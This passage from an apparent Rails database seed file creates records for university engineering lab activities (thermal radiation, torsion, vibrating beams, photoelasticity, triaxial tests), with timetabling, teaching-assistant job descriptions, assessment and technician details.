kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a238.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a238.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a238.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a238.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a238.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a239 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 1)\n at239 = ActivityTimetable.where(activity_id: a239.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a239.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a239.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a239.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a239.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a239.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a240 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at240 = ActivityTimetable.where(activity_id: a240.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a240.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jhyml9q\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a240.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a240.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a240.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a240.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a241 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at241 = ActivityTimetable.where(activity_id: a241.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a241.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a241.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a241.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a241.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a241.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a242 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"529\").first_or_create!(name: \"Torsion\",\n name_abrv: \"TORSION\", archived: false, in_drive: false, user_id: 1)\n at242 = ActivityTimetable.where(activity_id: a242.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a242.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a242.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a242.id).first_or_create!(assess_weight: 4.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a242.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a242.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a243 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, user_id: 1)\n at243 = ActivityTimetable.where(activity_id: a243.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a243.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a243.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a243.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a243.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a243.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a244 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, user_id: 1)\n at244 = ActivityTimetable.where(activity_id: a244.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a244.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a244.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a244.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a244.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a244.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a245 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 3)\n at245 = ActivityTimetable.where(activity_id: a245.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a245.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a245.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a245.id).first_or_create!(assess_weight: 20.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a245.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a245.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a246 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 2)\n at246 = ActivityTimetable.where(activity_id: a246.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a246.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a246.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a246.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a246.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a246.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a247 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"545AE\").first_or_create!(name: \"Compressors 2 and Rolling Spheres\",\n name_abrv: \"Compressors 2\", archived: false, in_drive: false, user_id: 1)\n at247 = ActivityTimetable.where(activity_id: a247.id).first_or_create!(duration: 40, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a247.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a247.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a247.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a247.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a247.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a248 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR124\").first.id, code: \"533\").first_or_create!(name: \"Band Break Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 1)\n at248 = ActivityTimetable.where(activity_id: a248.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a248.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a248.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a248.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a248.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a248.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a249 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR301\").first.id, code: \"534\").first_or_create!(name: \"Wear\",\n name_abrv: \"Wear\", archived: false, in_drive: false, user_id: 1)\n at249 = ActivityTimetable.where(activity_id: a249.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 21, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a249.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a249.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a249.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a249.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a249.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a250 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"535\").first_or_create!(name: \"Photoelasticity\",\n name_abrv: \"PE\", archived: false, in_drive: false, user_id: 1)\n at250 = ActivityTimetable.where(activity_id: a250.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a250.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a250.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a250.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a250.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a250.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a251 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"536\").first_or_create!(name: \"Digital Image Correllation\",\n name_abrv: \"DIC\", archived: false, in_drive: false, user_id: 5)\n at251 = ActivityTimetable.where(activity_id: a251.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a251.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a251.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a251.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a251.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a251.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a252 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"537\").first_or_create!(name: \"Strain Guages\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at252 = ActivityTimetable.where(activity_id: a252.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a252.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a252.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a252.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a252.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a252.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a253 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"538\").first_or_create!(name: \"Dynamics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at253 = ActivityTimetable.where(activity_id: a253.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a253.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a253.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a253.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a253.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a253.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a254 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at254 = ActivityTimetable.where(activity_id: a254.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a254.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a254.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a254.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a254.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a254.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a255 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at255 = ActivityTimetable.where(activity_id: a255.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a255.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a255.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a255.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a255.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a255.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a256 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at256 = ActivityTimetable.where(activity_id: a256.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a256.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a256.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a256.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a256.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a256.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a257 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at257 = ActivityTimetable.where(activity_id: a257.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a257.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a257.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a257.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a257.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a257.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a258 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at258 = ActivityTimetable.where(activity_id: a258.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: 